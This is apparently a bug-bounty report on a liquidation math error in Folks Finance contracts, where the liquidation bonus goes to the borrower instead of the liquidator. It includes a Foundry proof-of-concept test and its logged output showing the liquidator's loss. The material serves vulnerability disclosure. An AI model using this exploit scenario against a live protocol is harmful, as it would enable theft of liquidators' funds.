Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Protocol insolvency
Description
This report is intended to be submitted under my team account "A2Security" but I reached the report submission rate limit on the last day. Please count this report as though it were from "A2Security".
Impact
The bug basically leads to the liquidation bonus being taken from the liquidator instead of the violator.
This doesn't only leads to the fact that liquidations in certain conditions are not profitable for liquidators, violators will actually make a profit from being liquidated.
About severity, We think impact is critical, but due to the fact that the faulty part of the liquidation math only affects liquidations fulfilling the condition seizeUnderlyingCollateralAmount > violatorUnderlingCollateralBalance we think High severity is fair.
Description
In calcLiquidationAmount when seizeUnderlyingCollateralAmount > violatorUnderlingCollateralBalance the repayBorrowAmount is recalculated to reflect the actual seized collateral: https://github.com/A2-Security/folks-finance-boost/blob/07fa4f5095d38c720d86558aaf02fc04b8e011c4/contracts/hub/logic/LiquidationLogic.sol#L180-L221
the calculation is incorrect , cause we should divide by 1+liquidationBonus since we are calculating back from collateralsiezed to repay amount:
As it is implemented the liquidationBonus is given to the violator instead of the liquidator. To fix this we need to adjust the formula so that we augment the debt from the equivalent amount of seized coll + liquidation Bonus (and not reduce it by the liquidationBonus) this should be:
Ran 1 test for test/pocs/pocs.sol:Pocs
[PASS] test_poc_04() (gas: 2486946)
Logs:
Violator's borrow before liquidation (USDC) : 2000000000
Violator's borrow after liquidation (USDC) : 1450000002
Violator's collateral before liquidation (USDC) : 499999999
Violator's collateral after liquidation (USDC) : 1
Liquidiator's collateral before liquidation (USDC): 19999999999
Liquidiator's collateral after liquidation (USDC) : 20499999997
Liquidiator's borrow after liquidation (USDC) : 549999998
Alice liquidated bob successfully!, But she got : 499999998 USDC as collateral
However she got : 549999998 USDC as a loan which made here lose in collateral and bob steal here money
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 651.55ms (21.81ms CPU time)
Ran 1 test suite in 654.22ms (651.55ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.23;
import "./base_test.sol";
import "contracts/oracle/storage/NodeDefinition.sol";
contract Pocs is baseTest {
function test_poc_04() public {
// mimic pool have enough usdc balance to allow borrow :
deal(USDC_TOKEN, address(hubPoolUsdc), 1e12);
// update caps and fix prices to avoid errors :
vm.startPrank(LISTING_ROLE);
loanManager.updateLoanPoolCaps(1, hubPoolUsdc.getPoolId(), 1e12, 1e11);
hubPoolUsdc.updateCapsData(HubPoolState.CapsData(type(uint64).max, type(uint64).max, 1e18));
loanManager.updateLoanPoolCaps(1, hubPoolAvax.getPoolId(), type(uint64).max, type(uint64).max);
hubPoolAvax.updateCapsData(HubPoolState.CapsData(type(uint64).max, type(uint64).max, 1e18));
// note set usdc price to 1 using constant error to avoid erros later afer skipping days
bytes memory params = abi.encode(1e18);
bytes32[] memory parents = new bytes32[](0);
bytes32 usdc_constant_node = 0x0d40261f4e58e0a12a3ba4bca3e3b8f06c251e1a9c65cde23dae8813e3780310;
params = abi.encode(25e18);
bytes32 avax_constant_node = nodeManager.registerNode(NodeDefinition.NodeType.CONSTANT, params, parents);
oracleManager.setNodeId(hubPoolUsdc.getPoolId(), usdc_constant_node, 6);
oracleManager.setNodeId(hubPoolAvax.getPoolId(), avax_constant_node, 18);
vm.stopPrank();
// Bob deposits collateral to loanId 2
uint256 bobDepositAvax = 380e18 + 1e18; // (9500 + 25)USD
uint256 bobDepositUsdc = 500e6; // 200 USDC
uint256 borrowAbleValue = 5000e18; // collateral factor of 0.5 in both loans and deposited value is 10k USD
_approveUsdc(bob, address(spokeUsdc), bobDepositUsdc);
_deposit(bob, bobAccountId, bobLoanIds[1], bobDepositUsdc, spokeUsdc);
_depositAvax(bob, bobAccountId, bobLoanIds[1], bobDepositAvax);
// Bob borrows max amount from loanId 2 , borrow 10% avax and 90% usdc :
uint256 borrowAmountUsdc = borrowAbleValue * 4e17 / 1e18 * 1e6 / 1e18; // 90% of borrowable value in usdc
uint256 borrowAmountAvax = borrowAbleValue * 6e17 / 1e18 * 1e18 / 25e18; // 10% of borrowable value in avax
_borrowVariable(bob, bobAccountId, bobLoanIds[1], hubPoolUsdc.poolId(), borrowAmountUsdc);
_borrowVariable(bob, bobAccountId, bobLoanIds[1], hubPoolAvax.poolId(), borrowAmountAvax);
// @note : we don't skip any time to keep the indexes the same for easy comparison :
// the price of avax falls so loan will be liquidatable:
vm.startPrank(LISTING_ROLE);
params = abi.encode(16e18);
bytes32 avax_constant_Newnode = nodeManager.registerNode(NodeDefinition.NodeType.CONSTANT, params, parents);
oracleManager.setNodeId(hubPoolAvax.getPoolId(), avax_constant_Newnode, 18);
vm.stopPrank();
// update indexes:
hubPoolUsdc.updateInterestIndexes();
// Alice deposits collateral that can repay Bob's loan
uint256 aliceDeposit = 1e10 * 2; // 20000 USDC
_approveUsdc(alice, address(spokeUsdc), aliceDeposit);
_deposit(alice, aliceAccountId, aliceLoanIds[1], aliceDeposit, spokeUsdc);
// Get Bob's and alice loan details before liquidation
(,,,, LoanManagerState.UserLoanCollateral[] memory bobCollBefore, LoanManagerState.UserLoanBorrow[] memory bobBorrBefore) = loanManager.getUserLoan(bobLoanIds[1]);
(,,,, LoanManagerState.UserLoanCollateral[] memory aliceCollBefore,) = loanManager.getUserLoan(aliceLoanIds[1]);
// calculate the usdc value before using the latest indexes :
uint256 depositIndex = hubPoolUsdc.getUpdatedDepositInterestIndex();
uint256 bobCollBeforeUsdc = MathUtils.toUnderlingAmount(bobCollBefore[0].balance, depositIndex);
uint256 aliceCollBeforeUsdc = MathUtils.toUnderlingAmount(aliceCollBefore[0].balance, depositIndex);
// Alice liquidates Bob
uint256 maxRepayAmount = type(uint256).max;
uint256 minSeizedAmount = 450e6;
uint8 usdcPoolId = hubPoolUsdc.poolId();
_liquidate(alice, aliceAccountId, bobLoanIds[1], aliceLoanIds[1], usdcPoolId, usdcPoolId, maxRepayAmount, minSeizedAmount);
// Get Bob's and Alice's loan details after liquidation
(,,,, LoanManagerState.UserLoanCollateral[] memory bobCollAfter, LoanManagerState.UserLoanBorrow[] memory bobBorrAfter) = loanManager.getUserLoan(bobLoanIds[1]);
(,,,, LoanManagerState.UserLoanCollateral[] memory aliceCollAfter, LoanManagerState.UserLoanBorrow[] memory aliceBorrAfter) = loanManager.getUserLoan(aliceLoanIds[1]);
// get the latest deposit index to calculate the amount of collateral seized :
depositIndex = hubPoolUsdc.getUpdatedDepositInterestIndex();
uint256 bobCollAfterUsdc = MathUtils.toUnderlingAmount(bobCollAfter[0].balance, depositIndex);
uint256 aliceCollAfterUsdc = MathUtils.toUnderlingAmount(aliceCollAfter[0].balance, depositIndex);
console.log("Violator's borrow before liquidation (USDC) :", bobBorrBefore[0].balance);
console.log("Violator's borrow after liquidation (USDC) :", bobBorrAfter[0].balance);
console.log("Violator's collateral before liquidation (USDC) :", bobCollBeforeUsdc);
console.log("Violator's collateral after liquidation (USDC) :", bobCollAfterUsdc);
console.log("Liquidiator's collateral before liquidation (USDC):", aliceCollBeforeUsdc);
console.log("Liquidiator's collateral after liquidation (USDC) :", aliceCollAfterUsdc);
console.log("Liquidiator's borrow after liquidation (USDC) :", aliceBorrAfter[0].balance);
// avax borrow should not change :
assertEq(bobBorrBefore[1].balance, bobBorrAfter[1].balance);
assertEq(bobCollBefore[1].balance, bobCollAfter[1].balance);
// console log the conclusion :
console.log("Alice liquidated bob successfully!, But she got :", aliceCollAfterUsdc - aliceCollBeforeUsdc, "USDC as collateral");
console.log("However she got :", aliceBorrAfter[0].balance, "USDC as a loan which made here lose in collateral and bob steal here money");
}
function _liquidate(
address liquidator,
bytes32 liquidatorAcountId,
bytes32 violatorLoan,
bytes32 liquidatorLoan,
uint8 borrowPoolId,
uint8 collateralPoolId,
uint256 maxRepayAmount,
uint256 minSeizedAmount
) internal {
bytes memory data = abi.encodePacked(violatorLoan, liquidatorLoan, collateralPoolId, borrowPoolId, maxRepayAmount, minSeizedAmount);
vm.prank(liquidator);
hub.directOperation(Messages.Action.Liquidate, liquidatorAcountId, data);
}
}